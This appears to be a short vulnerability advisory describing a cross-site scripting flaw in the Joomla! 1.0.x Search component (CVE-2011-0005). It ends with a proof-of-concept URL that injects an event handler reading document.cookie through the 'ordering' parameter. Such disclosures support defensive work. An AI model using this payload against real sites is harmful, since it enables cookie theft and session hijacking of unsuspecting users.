Joomla! 1.0.x - 'ordering' Cross-Site Scripting

Related Vulnerabilities: CVE-2011-0005  
Publish Date: 06 Jan 2011
Author: Aung Khant
                							

                source: http://www.securityfocus.com/bid/45679/info

The Joomla! Search component is prone to a cross-site-scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/joomla1015/index.php?option=com_search&searchword=xss&searchphrase=any&ordering=newest%22%20onmousemove=alert%28document.cookie%29%20style=position:fixed;top:0;left:0;width:100%;height:100%;%